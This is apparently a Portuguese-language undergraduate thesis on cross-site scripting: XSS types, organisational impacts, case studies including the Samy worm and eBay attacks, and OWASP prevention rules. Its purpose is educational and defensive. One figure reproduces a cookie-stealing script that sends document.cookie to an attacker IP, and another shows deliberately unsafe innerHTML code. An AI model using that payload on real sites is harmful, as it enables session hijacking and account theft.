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RESUMO

As aplicacdes Web tem ficado cada vez mais populares no passar dos anos, assim
COmo 0s seus usuarios e atividades diarias tem aumentado. Esse aumento traz
grandes vantagens para as empresas, mas também chama atencdo para potenciais
ataques. Este trabalho tem a intencdo de abordar os ataques de Cross-site scripting
(XSS), fazendo uma analise nos estudos de casos e seus impactos nas organizacoes
e usuarios. Esses ataques ocorrem por meio de injecao de codigo malicioso, podendo
afetar um sistema ou abrir portas para ataques maiores. Este trabalho ira abordar o
gue é uma aplicacdo Web, o que é o ataque XSS e seus diferentes tipos, como o
ataque é efetuado, assim como seus impactos, formas de prevencéo e mitigacéo para
ataques futuros e andlise de estudos de casos em que XSS foi utilizado como método
de invasao ou ponte para outros ataques. Todo o contelddo neste trabalho pode

auxiliar os desenvolvedores a mitigar e prevenir futuros ataques a uma aplicacao Web.

Palavras Chave: Cross-site scripting; ataques XSS; injecao de cddigo malicioso.



ABSTRACT

Web applications have become increasingly popular over the years as well as their
users and daily activities. This increase brings great benefits to companies, but also
draws attention to potential attacks. This work is intended to address cross-site
scripting (XSS) attacks, making an analysis of case studies and their impacts on
organizations and users. These attacks occur through the injection of malicious code,
which can affect a system or open doors to larger attacks. This work will address what
is a Web application, what is XSS attacks and it's different types, how the attack is
carried out, as well as its impacts, forms of prevention and mitigation for future attacks
and analysis of case studies in which XSS was used as a method of invasion or bridge
to other attacks. All content in this work can help developers mitigate and prevent

attacks on a Web application.

Keywords: Cross-site scripting; xss attacks; code injection.
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1 INTRODUCAO

Com o avancgo da Internet, a diversidade de aplicacbes Web tem aumentado
exponencialmente, com isso, 0s ataques as mesmas aumentaram drasticamente. A
seguranca em aplicacdes Web tem se aperfeicoado para evitar esses tipos de ataques

e proteger os usuarios finais de invasdes e perda de dados sensiveis.

Este projeto tem como propdsito mostrar os riscos que uma aplicagdo Web
pode sofrer se a mesma nao estiver bem configurada. Fazendo uma analise sobre
uma das principais ameacas a aplicacbes Web, que é o Cross-Site Scripting (XSS).
Esse tipo de ataque especifico tem como objetivo extrair informagcdes sensiveis
guando um sistema tem alguma parte comprometida, devido a mé configuracao ou
vulnerabilidades conhecidas em componentes utilizados. Diversos casos foram
analisados para obter informacdes sobre como o ataque ocorreu e o que pode ser

utilizado para se evitar novos ataques.

O Objetivo geral € avaliar os riscos que uma aplicacdo Web mal configurada
pode sofrer se for alvo de ataques especificos. O Objetivo especifico é analisar os
riscos de uma invasao via Injecdo de Codigo Malicioso e como tomar as precaucdes

cabiveis.

A realizagdo deste trabalho possibilita a novos desenvolvedores
conhecimento para prevencdo de ataques ja ha muito tempo conhecidos na
comunidade, mas que por falta de experiéncia na area, continuam aparecendo em
aplicacbes. A importancia de se proteger das vulnerabilidades j& conhecidas é
essencial, tanto para a comunidade desenvolvedora, tanto para os usuarios finais das

aplicacoes.

O método cientifico utilizado foi de revisdo bibliografica, tendo como base
estudos criticos em relagédo a aplicacdes Web que ja sofreram ou que poderéo sofrer

com ataques desse cunho.
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2 REVISAO DE LITERATURA

Este capitulo tem como objetivo sintetizar diversas abordagens sobre
aplicacbes Web e suas utilidades na Tecnologia da Informac¢do, bem como mostrar

estatisticas sobre ataques e possiveis vulnerabilidades.

2.1 APLICACOES WEB

Segundo a PC Magazine (2019), uma aplicacdo € um software que processa
dados para o usuario, com excecdo “software de sistemas”, que provém a
infraestrutura necessaria do computador, todos os softwares sdo aplica¢des. Portanto,
uma aplicacdo Web é todo software que processa dados e esta funcionando sobre a

Internet.

Nessa logica, observa-se que ha varias vantagens em se ter uma aplicacao
rodando na Internet, disponibilidade, facil manutencéo, compatibilidade com diversos

sistemas, etc.

As aplicacdes Web tem suas desvantagens, se uma aplicacdo pode ser
acessada publicamente pela Internet, a mesma devera ser extensivamente testada

para conter possiveis ameacas externas, como ataques e negacdes de servico.

2.2 ESTATISTICAS DE ATAQUES

A Internet é hoje uma realidade na vida de maioria dos brasileiros, segundo o
IBGE (2016), 64,7% de toda a populacéo tem acesso a Internet, séo 116 milhdes de
pessoas que a utilizam. Seguindo os beneficios de se utilizar uma aplicacdo Web,
pode-se associar 0 aumento de pessoas gque usam a Internet, com o aumento de

aplicacdes Web disponiveis, e consequentemente suas ameacas e vulnerabilidades.
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O aumento da dependéncia da Internet nas empresas tém elevado as
chances de ataques por invasores. Segundo a Akamai (2017), o artigo aponta uma
crescente nos ataques XSS no ano de 2017, anteriormente em queda no comeco do
ano de 2016 o aumento foi de aproximadamente 39% em relacdo ao quadrimestre

anterior, como pode ser observado na figura 1.

Figura 1: Porcentagem de ataques XSS de todos os ataques a aplicagdes Web.

Akamai: XSS Attacks as % of All Attacks

7.84%
7.16%
'

2015Q4 2016QI 2016Q2 2016Q3 2016Q4 2017Ql

” snyk

Fonte: AKAMAI (2017).

A figura 2 representa o numero absoluto de ataques XSS em aplicacbes Web.
Vale ressaltar que esses dados nao contabilizam todos os tipos de ataques XSS,
apenas 0s que acontecem e se propagam no lado do servidor da aplicacdo, que séo
possiveis de deteccdo. Ataques como XSS tipo 0 ndo sdo detectaveis, por isso sdo
muito comuns em aplicacbes Web chamadas de aplicacdes de pagina unicas, onde

estdo cada vez mais ricas de informacdes e funcionalidades no lado do usuario.
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Figura 2:Numero total de vulnerabilidades XSS.

NIST: Total XSS Vulnerabilities Report

1028
721 724
‘ n

2012 2013 2014 2015 2016 01-05/2017 2017*

” snyk

Fonte: National Vulnerabilities Database (2017).

O artigo da ERPScan, SAP Securtiy in figures (2013) analisa como foram os
ataques e as porcentagens de cada um. De acordo com o artigo, até 2013 foram

escritos mais de 2,700 notas de seguranca.

Com base no artigo da ERPScan (2013), os fatores primarios que
influenciaram os ataques desse cunho foram o aumento do numero de aplicacbes
Web disponiveis, portanto aumentando o nimero de vulnerabilidades e ameacgas. O
melhoramento de andlise de cAdigo estatico que mostra as vulnerabilidades que séo
faceis de encontrar diminuiram, por outro lado, os niumeros de vulnerabilidades e

ameacas complexas e que requerem uma analise mais profunda tem aumentado.

Segundo o artigo da ERPScan (2013), o aumento de ataques XSS era
previsivel sendo que o aumento de aplicacbes Web tem crescido exponencialmente.
O aumento de XSS deve-se ao fato de seu alto nivel de impacto e por que qualquer
vulnerabilidade de injec&o sera mais facil de detectar com analisadores de cédigos

aprimorados.
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Observando a figura 3, podemos analisar que aproximadamente 20% dos
ataques foram especificos do ERP (Sistema Integrado de Gestdo Empresarial) SAP,
porém, pode-se notar que o lider de notas publicadas é o Cross-Site Scripting (XSS),
segundo o artigo da ERPScan (2013).

Figura 3:Vulnerabilidades SAP separado por tipos.

r 3
Top 10 types of vulnerabilities

1%

m1-XSS
H 2 - Missing authorisation check
H 3 - Directory traversal
4 -5AL Injection
B 5 - Information disclosure
6 - Code injection
[ 7 - Authentication bypass
8 - Hardcoded credentials
1 9 - Remore code execution

10- Verb tampering

. A

Fonte: ERPScan (2013)

2.3 RISCOS EM APLICACOES WEB

Um atacante em potencial pode escolher diversos métodos para atacar uma
aplicacdo Web. Dependendo do método utilizado pelo atacante, pode ser que seja

necessario gerar atencao para tal, segundo a OWASP (2017).

A figura 4 representa um possivel método para um atacante. O atacante usa
vetores de ataques conhecidos, se aproveitando de vulnerabilidades do sistema
consegue acesso indevido a aplicacdo e de modo geral causa impactos no sistema
Ou na organizacao.



Figura 4: Passos para um possivel atacante.
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Fonte: OWASP (2017)

Algumas vezes os métodos utilizados para uma vulnerabilidade séo faceis de

se encontrar em uma aplicacdo, porém, o contrario pode ser valido. O mesmo

raciocinio deve ser aplicado as consequéncias dessa invasdo, uma vulnerabilidade no

sistema pode colocar toda a empresa fora do ar e fora do mercado.

Pode-se calcular o risco em sua organizacdo levando em conta todos os

vetores de ataques possiveis, suas fraquezas na aplicacdo e os agentes alvo,

combinando tudo com uma estimativa de impacto técnico e organizacional. Todos

esses itens determinam seu risco total, segundo a OWASP (2017).
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3 ATAQUES A APLICACOES WEB

Os ataques a aplicacbes Web podem vir em diferentes formatos e estratégias,
segundo a fundacdo OWASP (2018). Um ataque s&o técnicas que invasores usam
para explorar vulnerabilidades em uma aplicacdo. Um atague nao deve ser confundido
com uma vulnerabilidade, pois a vulnerabilidade € uma fraqueza de uma aplicacéo e

nao algo que um atacante faria.

3.1 CROSS-SITE SCRIPTING (XSS)

Segundo a OWASP (2018), cross-site scripting (XSS) é um tipo de ataque de
injecdo, que no caso codigos maliciosos séo injetados em outrora sites confiaveis.
Vulnerabilidades que permitem esses ataques acontecerem sao populares e ocorrem
sempre que uma aplicacdo nao valida e/ou criptografa um input de dados do usuario

para o sistema.

Um atacante pode usar XSS para enviar cédigos maliciosos para um USUario
desavisado. O navegador do usuério final ndo tem como saber se o codigo € confiavel
e 0 executa. Dessa maneira o codigo malicioso podera ter acesso a quaisquer cookies,
tokens ou dados sensiveis do usuario que sdo armazenados pelo navegador afetado.
Em alguns casos, pode ser que o usuario tenha o Document Object Model (DOM)

alterado, comprometendo a usabilidade do site e aumentando as chances de invasao.

3.1.1 XSS BASEADO EM DOM (TIPO 0)

XSS baseado em DOM ocorre, segundo a OWASP (2018), quando todo o
ataque é feito pela parte de interacdo do usuario com a aplicacdo Web, ou seja, a

fonte do coédigo malicioso esta no DOM, os gatilhos para o ataque acontecer também
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estdo no DOM e o fluxo de dados nunca sai do navegador. Com isso, nenhuma

ferramenta de deteccao sera ativada e o usuario sera comprometido.

3.1.2 XSS ARMAZENADO OU PERSISTENTE (TIPO 1)

XSS Armazenado ocorre quando o coédigo malicioso esta armazenado no
servidor do site, nos bancos de dados, logs, mensagens, campo de comentérios, etc.
O atacante consegue obter as informacdes antes que o site faca esses campos
seguros. Com novas técnicas de Hyper Text Markup Language (HTML) as
informacdes podem ser armazenadas no navegador do usuério, sem a necessidade
de ser enviadas para o servidor, o que pode ocasionar em invasdes e roubo de dados,
segundo OWASP (2018).

3.1.3 XSS REFLETIDO OU NAO-PERSISTENTE (TIPO 2)

De acordo com OWASP (2018), XSS Refletido ocorre quando o cédigo
malicioso é armazenado fora do servidor, como em uma mensagem de erro, um
resultado de busca ou qualquer resposta que inclui algum tipo de dado que foi enviado
para o servidor. Ataques refletidos chegam a vitima de outras formas, como um e-mail
ou outro site. O usuario pode clicar acidentalmente ou ser induzido a clicar em um link
malicioso, preencher um formulario suspeito, etc. Assim, o cédigo malicioso atinge o

site alvo.

3.1.4 TECNICA DE CODIFICACAO DE CARACTERES

Os ataques XSS de tipo 1 e 2 séo decorrentes de uma falha na técnica (ou

abstencdo da mesma) de escape, ou codificacdo de caracteres. Essa falha permite
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que cbdigos mal intencionados quebrem as tags onde elas residem e execute sem

permissao.

A técnica consiste em substituir uma gama de caracteres por um codigo
relacionado a American Standard Code for Information Interchange (ASCII), apés
trocados, esses caracteres serdo interpretados pelo navegador, impedindo que o
codigo malicioso possa quebrar a pagina. Nota-se que o navegador deve saber quais
codificacBes serdo usadas na pagina HTML, essa informacéo é passada através de
uma tag HTML de tipo meta. Um exemplo de tag pode ser observado na figura 5.

Figura 5: Tag HTML para declaragéo do tipo de codificagéo.

<meta charset="utf-8"=>

Fonte: OWASP (2019).
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4 OS REAIS IMPACTOS DO CROSS-SITE SCRIPTING

Cross-site scripting é provavelmente um dos riscos mais prevalentes nas
aplicacbes Web e mesmo assim € um dos mais negligenciados. Os principais riscos
estdo associados ao fato que o usuario é diretamente afetado pela invaséo, sendo ele
o principal vetor de ataque, segundo a Dionach (2016).

A maioria dos casos que ocorrem XSS sdo para tentativa de algo maior, como
sequestro de sesséo, roubo de credenciais e acesso a dados sensiveis privados. Na

sequéncia do capitulo, sera abordado alguns exemplos de como isso é possivel.

41 SEQUESTRO DE CONTAS

Um dos principais vetores de ataque sdo 0s sequestros de contas legitimas,
normalmente o atacante consegue acesso roubando o cookie de sessdo do usuario.
Esse tipo de atague faz com que o atacante tenha total acesso a tudo o que esse
usuario tem: dados privados e funcionalidades passiveis apenas para o usuario. Esse
tipo de ataque pode ser conduzido colocando scripts em campos vulneraveis da

aplicacdo Web (XSS tipo 1), como pode ser observado na figura 6.

Figura 6: Exemplo de script & ser colocado em um campo vulneravel.

<script>

image = new Image();

image.src="http://[Attacker IP]:8838/?'+document.cookie;
<fscript>

Fonte: Dionach (2016).

Quando a vitima acessar a pagina infectada pelo cddigo malicioso, o
navegador ird fazer uma requisicéo contendo o identificador de sesséo para o servidor

do atacante. No servidor essa informacao é recuperada e guardada de acordo com as
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intencdes do atacante. Dessa maneira, a sesséo fica sequestrada e a vitima néo ira

perceber, segundo a Dionach (2016).

Os riscos desse vetor de ataque sdo absurdos. Um atacante que tenha acesso
a uma conta de administrador pode roubar dados sensiveis e causar danos a

aplicacao Web.

4.2 ROUBO DE CREDENCIAIS

Outro vetor de ataque comum é usar HTML e JavaScript para roubar as
informacdes de acesso do usuario a aplicacdo Web. Esse ataque pode ser efetuado
realizando uma parte de engenharia social com uma copia falsa da pagina de login da
aplicacdo Web juntamente com uma vulnerabilidade XSS para ser enviado as vitimas.
Assim como no caso do sequestro de contas, a vitima entra em uma pagina onde o
codigo malicioso € executado mostrando uma falsa tela de login. Se o usuario tentar
fazer o login, as informagdes de acesso serdo enviadas ao servidor do atacante, onde
ele podera usar essas informacdes para ter acesso a conta da vitima, segundo
Dionach (2016).

Essa tatica é a mais benéfica para o atacante, sendo possivel obter dados de
acesso em texto puro ao invés de um cookie de sessdo. Um vetor de ataque extra
inclui utilizar engenharia social para persuadir uma vitima a colocar dados de acesso

em formularios falsos, que geralmente rouba as credenciais da vitima.

4.3 IMPACTO NAS ORGANIZACOES

Segundo a Acunetix (2014), os danos causados por XSS nas organizacdes
podem ser diversos, fora os danos causados pelo ataque em si e por outros que usam
0 XSS como base para ataques ainda mais devastadores. Um ataque bem sucedido

pode impactar os usuarios e os funcionarios de uma empresa, assim como a sua
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capacidade de gerar renda ou producdo. Mesmo se uma empresa nunca sofreu com
ataques XSS, se as vulnerabilidades estdo presentes na aplicacdo Web, isso ja pode
ser o suficiente para impactar as relacdes publicas da empresa, ainda mais se essas
vulnerabilidades séo publicadas em portais de seguranca da informacao ou em canais

de noticias.

4.3.1 OS CUSTOS PARA RESPONDER A UM ATAQUE

Segundo o artigo da Ponemon Institute (2014), o tempo médio entre deteccao
e resolucdo de um ataque XSS esta em torno de 32 dias, com um custo médio de
32.469 ddlares. Levando-se em conta todas as empresas analisadas, o preco tende a
ser maior conforme o tamanho da empresa, porém, empresas pequenas nao se livram

dos custos de um ataque.

As empresas onde o seu faturamento advém da Internet tendem a ser as mais
afetadas. Um ataque XSS bem-sucedido em um funcionario da empresa pode causar
enormes danos, como: impossibilitar 0 acesso, infectar as estacdes de trabalho dos
empregados e no pior dos casos, roubar dados sigilosos. As empresas que sofrem
com ataques XSS tem que resolver outro problema, tempo de inatividade da aplicacéo
Web. O tempo de inatividade pode vir de ter que consertar as brechas para ataques,
negacdo de servico ou a soma dos dois fatores. Se a aplicacdo tem uma
vulnerabilidade, além dos procedimentos de recuperacédo de controle, alguns passos

terdo que ser analisados:

e Investigar o codigo responsavel por tal brecha;
e Consertar o cadigo e fazer um patch de seguranca;

e Testar e implementar o patch para a versao de produgéo.

Em concluséo, um ataque bem-sucedido pode causar um impacto devastador
em uma empresa, visto que do momento de sua detecgdo até a implantacdo de um

patch para resolver a brecha, a empresa esta no prejuizo.
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4.3.2 RESPOSTA A INCIDENTES E CONTINUIDADE DE NEGOCIOS

Para entender como as respostas a incidentes nas organizacdes séao
realizadas, € necessario entender como o ciclo de resposta a incidentes ocorre e como
as empresas podem sofrer se a resposta for muito tardia. Premeditar os riscos que
uma empresa pode sofrer requer conhecimento do modelo da empresa, processos

operacionais e vulnerabilidades, segundo o artigo feito pela Deloitte (2016).

A triagem do incidente € uma das partes mais cruciais da resposta ao ataque.
Essa fase inclui descobrir onde a falha XSS acontece, como acontece e o que fazer
para impedir que novos ataques acontecam. Uma revisdo do que foi afetado é
necessario, pois se o ataque afetou os funcionarios do sistema, uma analise profunda

sera obrigatdria, segundo Deloitte (2016).

O gerenciamento dos impactos é a etapa onde se desenvolve os esfor¢cos
para conter possiveis novos ataques. Se uma parte do sistema foi atacada e ainda
nao se resolveu o problema, essas partes devem ser trocadas por partes provisorias.
A remocéao de partes do sistema tende a ser complicadas para ataques XSS, pois a

parte afetada é diretamente ligada a interface de usuario e possiveis interacdes.

A recuperacado do negdécio pode demorar anos, a relacdo publica da empresa
pode ser afetada, assim como a confiangca de novos clientes. Atualizar a aplicacao
Web para impedir novos atagues pode demorar meses. Entre as fases de
desenvolvimento, testes e implantacdo pode acontecer de haver mudancas na
estrutura do projeto atrasando a liberacédo de atualizagbes. Todas essas etapas sdo
necessarias para que a empresa possa se recuperar do ataque e continuar a operar,
segundo Deloitte (2016).
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5 ESTUDOS DE CASO

Crimes cibernéticos sdo todas as atividades criminosas em que um
computador ou rede de computadores € utilizado como meio para se obter dados ou

informacdes sobre a vitima, sendo a vitima pessoa fisica ou juridica.

Nesse capitulo, serdo abordados diversos casos onde os atacantes usaram

XSS para fazer a invasao ou roubar dados da aplicacéo.

51  “SAMY”, O VIRUS MAIS RAPIDO DA HISTORIA

Em 2005, um rapaz de 19 anos de idade lancou o virus de computador
conhecido como “Samy”. Talvez o virus de computador mais rapido da histéria que
mudou a seguranca na Internet para sempre. (MOTHERBOARD TECH BY VICE,
2015).

Na época, o MySpace permitia a utilizacdo de cédigo HTML para
customizacao de perfil do usuario, isso ocasionou uma falha grave na seguranca do
sistema permitindo que um usuario final, com algumas linhas de cédigo JavaScript,
fizesse mudancas ndo esperadas na plataforma. Apesar do virus se espalhar
rapidamente, ele era inofensivo. O maior impacto do virus foi mostrar como os sites
na época estavam mal configurados e expostos a vulnerabilidades que as proprias

empresas nao tinham conhecimento.

Na época, aproximadamente 80-90% dos sites poderiam sofrer com algum
tipo de ataque XSS de acordo com a OWASP (2015). Foram criados protocolos que
poderiam ser seguidos para mitigar tais riscos e minimizar tais vulnerabilidades. Apdos
10 anos, aproximadamente 47% dos sites podem sofrer com ataques XSS, de acordo
com o WhiteHat's Security (2015).

Anos antes, outros virus foram escritos utilizando falhas de outros servigos,

como “Blaster” em 2003, que constituia em infectar o sistema operacional Windows
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da Microsoft. Comparando sua eficacia com outros virus nas primeiras 24 horas,
podemos analisar na figura 7 que um virus que se espalha pela internet € muito mais

efetivo e rapido do que um virus tradicional e operacional.

Figura 7: Primeiras 24 horas de propagacgao de um virus.

First 24 Hours of Worm Propagation
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Fonte: WhiteHat Security (2011).

5.2  ANALISE DE VULNERABILIDADES XSS, AKAMAI (2016)

Diversos ataques foram analisados pela empresa Akamai, em seu artigo An
Analysis of XSS Exploitation through Remote Resource Injection (2016). Nesse
documento, foi analisado que apenas 2% dos codigos injetados sao maliciosos ou
ilegitimos sendo os 3 maiores casos como injecdo de advertising ilegitima, frameworks

de XSS para vulnerabilidades e mineracdo de cripto-moedas.

Comumente sdo usados encurtadores de Uniform Resource Locator (URL),
que fazem com que seja dificil a localizagdo desses arquivos maliciosos. Dessa
maneira, 0s atacantes usam encurtadores confidveis no caminho de seus arquivos
maliciosos, assim dificultando que um buscador ou indexador coloque todo o dominio
em uma lista negra, segundo o artigo da Akamai (2016).
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Continuando a analise do artigo, foi relatado que normalmente os scripts
chamam outros scripts apos sua execucao, dificultando mais ainda que um servidor
detecte que esta infectado. Em todos os casos, os codigos estavam camuflados
devido a uma técnica de escape hexadecimal do JavaScript, essa técnica permite que
se escreva trechos de codigos complexos e execute depois que houve o
carregamento da pagina, tendo assim eficacia contra firewalls dos navegadores.

A concluséo desse artigo revela algo que se sabe ha muito tempo, ataques
XSS ocorrem ha varios anos e eles s6 vem aumentando. H& varias maneiras de
mitigar riscos, mas devido a inexperiéncia ou a prazos curtos os desenvolvedores

langam aplicativos inacabados ou néo testados contra falhas e invasoes.

5.3 ATAQUES AO EBAY USANDO XSS PERSISTENTE (TIPO 1)

Em 2017, diversos casos de invasfes foram registrados pelo site Ebay, esses
ataques foram XSS persistente (tipo 1), que é quando o cédigo malicioso se encontra
alojado no site que se navega. Todos os ataques foram possiveis pois na época o
Ebay permitia o uso de tags HTML para personalizacdo de descrices nos anuncios,
do mesmo jeito que o worm “Sammy” funcionava a vitima entra na pagina de anuncio
infectada e o cddigo malicioso € executado. Ainda nesse esquema, 0s atacantes se
espalharam em contas com reputacfes boas e infectaram anuncios com o cédigo,

segundo o artigo da Netcraft (2017).

Os ataques aconteciam de maneira metodica, um anuncio com cdédigo
malicioso injetado era colocado no site e depois de um curto periodo de tempo, varios
usuarios ja tinham acessado tal produto. Com o acesso ao anuncio, 0 usuario era
redirecionado a uma pagina falsa de login do site Ebay e com isso passava as
informacgdes de acesso ao atacante. O atacante com os dados de acesso da vitima,
conseguia propagar ainda mais o codigo malicioso se o usuario fosse alguém com
uma boa reputagao no site. Desse modo, modificaria 0s anuncios que ja existiam e
mais pessoas poderiam entrar nas paginas e executar o cddigo malicioso, segundo o
artigo da Netcraft (2017).
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5.4 AVALIACAO DE VULNERABILIDADES DE APLICACOES WEB DE
BANGLADESH, ESTUDO DE CASO DE XSS

Em ataques coordenados ao Banco de Bangladesh, atacantes conseguiram
inserir remotamente, codigos maliciosos nos servidores do banco. Os invasores
usaram técnicas ja conhecidas de invasdo para ganharem acesso e alojarem 0s
codigos. Previamente, a atencdo que o governo e os desenvolvedores davam as

vulnerabilidades eram minimas antes dos ataques ocorrerem, segundo o artigo.

De acordo com o estudo, quase 30% das aplicacbes Web sdo vulneraveis a
ataques XSS. Por esses testes demorarem para serem executados, foram analisados
um grupo de 500 aplicacbes, sendo que em 335 delas foram encontradas
vulnerabilidades. Nenhuma aplicacdo Web € afetada pelos 3 tipos de ataques XSS,
sendo que 35% das vulnerabilidades encontradas séao do tipo 1 e 65% sao do tipo 0 e

2, segundo a figura 8.

Figura 8: Porcentagem dos tipos de vulnerabilidades XSS

Fonte: Farah (2016).

Em algumas das 335 aplicacbes Web, foram necessarias multiplas formas de
ataques, sendo que algumas precisaram de ataques CSRF (Cross-Site Request

Forgery) e ap0s 0 sucesso desse primeiro ataque o ataque XSS pdde ser executado.
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Nenhuma das 335 aplicacdes tinham firewalls contra esses tipos de ataques, segundo

0 artigo.

A conclusao do artigo é clara, os ataques recentes indicam que ndo ocorreram
apenas uma vez, mas sim que talvez tenha sido parte de uma sequéncia de ataques
que apareceram em destaque. Se as autoridades e os desenvolvedores tivessem
levado em consideragao as instrucdes de sites como OWASP, talvez esse ataque
milionério tivesse sido evitado. Os niveis de seguranca nas aplicacdes Web testadas
foram consideradas mediocres, inexistentes ou obsoletas, nenhuma aplicacéo
continha firewalls para protecdo contra ataques XSS e CSRF. Essas condi¢des
indicam uma tendéncia das empresas e dos governos a esconderem informacodes de
ataques e os desenvolvedores e usuarios deveriam ser avisados de que as aplicacdes
contém vulnerabilidades e com isso, ajudar na prevencdo e mitigacdo de ataques,

segundo o artigo.
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6 MITIGAR RISCOS E PREVENCAO

Todos os casos analisados sofreram danos que poderiam ter sido evitados se
a geréncia e os desenvolvedores tivessem seguido os modelos de prevencédo a
ataques XSS. A OWASP provém inumeras listas de prevencado a aplicacbes Web,

uma delas sendo contra ataques XSS e a todas as suas variagoes.

Problemas com orcamento podem ser prejudiciais contra a prevencdo de
ataques cibernéticos, principalmente em empresas de pequeno e médio porte.
Segundo a pesquisa feita pela Ernest & Young (2016) que conta com mais de 1.735
executivos da area de Tecnologia da Informac¢éo de todo o0 mundo, diz que 89% das
empresas nao estdo preparadas para receber um ataque e suas funcdes de

seguranca da informacao néo sao totalmente competentes.

Segundo a pesquisa, € um pedido comum dos executivos de Tl um aumento
no orgcamento anual, porém, 39% das empresas entrevistadas afirmam que so iriam
aumentar o orcamento anual se houvesse um ataque significativo ou se dados fossem
roubados das empresas e que precisariam de um minimo de 25% de aumento nos

orcamentos.

6.1 GUIA DE PROTECAO CONTRA ATAQUES XSS TIPO 1 E 2 (OWASP
PREVENTION SHEET)

O artigo da OWASP (2019) traz diversas abordagens de como proteger sua
aplicacao Web contra dados nao confidveis, desse modo, todo e qualquer tipo de dado

gue um usuario final coloca no sistema sao dados nao confiaveis.

Tratando a pagina Web como um modelo, ha diversos campos onde seréo
inseridos os dados néo confiaveis, assim, € necessario ter diversas precaucdes para
gue o dado que for inserido ndo quebre para outras tags e ser executado (no caso de

um ataque XSS). Nesse modo, as paginas HTML sdo tratadas como um arquivo
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parametrizado, onde todos os dados sdo mantidos em locais especificos e isolados

através da técnica de escape.

O artigo propde algumas regras a se seguir, a regra 0 € de que nunca se deve
colocar dados néo confiaveis na aplicacdo, exceto em locais permitidos. N&o colocar
dados inconfiaveis na pagina Web ao menos que seja nos campos definidos nas
regras de 1 a 5. O artigo aponta que colocar dados inconfiaveis em qualquer lugar se
torna insustentavel de manter uma lista de escape e consequentemente 0s riscos se
tornam absurdos. Portanto deve-se pensar que, mesmo que o desenvolvedor opte em
colocar dados néo confidveis em locais que ndo sejam das regras 1 a 5, é necessario
fazer diversos cross-browser tests e mesmo assim ndo estaria garantido. Sendo

assim, a regra 0 aponta esses campos como improprios para uso:

Figura 9: Tag de script

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>

Fonte: OWASP (2019)

A figura 9 representa uma tag de script, ela é destinada para execucéo de
JavaScript no navegador. Se um trecho de codigo mal-intencionado € colocado nessa
tag sem a codificacdo necessaria, o cddigo vai ser executado e sua aplicacédo estara

exposta.

Figura 10: Chave de comentario para HTML

¢<!--...NEVER PUT UNTRUSTED DATA HERE...-->

Fonte: OWASP (2019)

Um atacante pode avaliar como ele vai escrever o codigo mal-intencionado.
Se o0 atacante souber que dados séo escritos em campos de comentarios, como pode
ser exemplificado na figura 10, ele pode escrever o codigo dele para quebrar essa tag

e dessa maneira, executar o script.



31

Figura 11: Como um atributo para uma tag

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />

Fonte: OWASP (2019)

Colocar atributos personalizados em uma tag HTML é comum em
desenvolvimento Web. A figura 11 exemplifica uma customizacéo de atributos, porém
€ necessario atencao se esse atributo advém de dados ndo confiaveis. Um atacante
pode inserir uma quebra de tag e colocar uma acgéo para redirecionar o usuario final a

uma outra pagina, por exemplo.

Figura 12: Exemplo de uma tag customizada

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />

Fonte: OWASP (2019)

Assim como o exemplo anterior, a figura 12 exemplifica que é necessario
atencdo de como a tag é gerada e como se esta fazendo a inser¢cdo dos dados nao

confiaveis. Uma insercéao livre de tags pode ser catastrofica.

Figura 13: Tag de estilo para HTML

<style>
.. .NEVER PUT UNTRUSTED DATA HERE...
</style»

Fonte: OWASP (2019)

Muito comum em aplicagbes Web voltada a comércio eletrbnico e redes
sociais, a figura 13 mostra a customizacao da interface de usuario pelo proprio usuario
, que é algo que se deve levar em consideracdo. Assim como ja foi falado nos estudos
de caso, o worm “Sammy” foi propagado dessa maneira, um ataque XSS persistente

gue tinha como objetivo se espalhar o mais rapido possivel. Com algumas linhas de
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codigo ele quebrou a tag que o continha e executava um script que fazia comunicacéo

com a aplicacdo Web.

6.2 PROTECAO CONTRA ATAQUES XSS TIPO 0 (OWASP DOM BASED XSS
PREVENTION SHEET)

Para proteger uma aplicagdo Web contra ataques DOM XSS, € necessario
entender as diferencas de como os ataques ocorrem. Como dito nos capitulos
anteriores, os ataques tipo 0 sdo injecOes feitas no lado do cliente, ou seja, no
navegador do usuario ao contrario dos outros tipos. O ataque ocorre quando o
navegador esta processando o conteudo da aplicacdo. Quando o navegador esta
processando a pagina da aplicacdo Web, o navegador identifica que serao
necessarios diferentes contextos onde cada parte de cddigo sera visualizado e assim
cada contexto esta ligado a interpretacdo do HTML, das tags e seus atributos,
segundo o artigo da OWASP (2019).

Segundo o artigo da OWASP (2019), com as tags certas e o fechamento de
contexto correto, um cédigo JavaScript pode acessar diferentes contextos dentro da
pagina Web. A figura 14 mostra o uso incorreto de codificacdo dentro de um contexto

JavaScript e em um sub contexto HTML.:

Figura 14: Ma codificagcdo em contextos JavaScript

<script»

var ¥ = "<¥= taintedvar &»';

var d = document.createElement( 'div');
d.innerHTML = x;
document.body.appendChild{d);
<fscript>»

Fonte: OWASP (2019)

Na figura 14, os erros sédo apresentados como a falta de codificacéo, tanto na
parte da configuracdo da variavel (segunda linha), quanto na parte da insercdo do
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codigo na pagina Web, que permite com que esse script seja alterado por um ataque
DOM XSS.

6.3 UTILIZACAO DE BIBLIOTECAS DE CODIFICACAO

Muitas das linguagens no mercado ja contam com codificadores embutidos,
porém, é necessario que esse codificador esteja preparado para as adversidades das
aplicagbes Web, com isso a OWASP aconselha que uma boa biblioteca de codificagao
pode facilitar o desenvolvimento e garantir que nao haja falhas nas codificacées dos

dados ndo confiaveis.

A Microsoft disponibiliza uma biblioteca de codificacdo para sua plataforma
.NET e sua ferramenta ASP.NET ja conta com uma validacdo de requisicdes
embutida. O projeto OWASP Java Encoder disponibiliza aos desenvolvedores uma

biblioteca de alta performance para garantir que as aplicagbes sejam mais seguras.
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7 CONCLUSAO

A Internet hoje € muito importante para o cotidiano das pessoas. A todo
momento se esta utilizando a Internet e consequentemente aplicacdes Web. Com
essa grande utilizacdo de aplicacdes, novas possibilidades ficam disponiveis para os
atacantes.

Analisando os estudos de caso e as estatisticas de como os ataques XSS séo
evidentes nas aplicagbes Web, fica claro que falta muito esforgo e conhecimento dos
desenvolvedores e dos produtos de aplicagbes. Em muitos casos, a inexperiéncia
somada a falta de tempo para a entrega do produto final, deixa falhas e produz vetores
de ataque que possibilitam um atacante invadir uma aplicacdo Web.

O intuito desse trabalho foi analisar os casos e mostrar os danos causados
por falhas de seguranca da informacdo nas aplicacdbes Web e nas empresas. Na
maioria dos casos, 0s ataques XSS sao uma forma de penetracdo nas aplicacoes,
nao o objetivo em si. Por isso é de extrema importancia fazer a prevencao desse tipo

de vulnerabilidade.

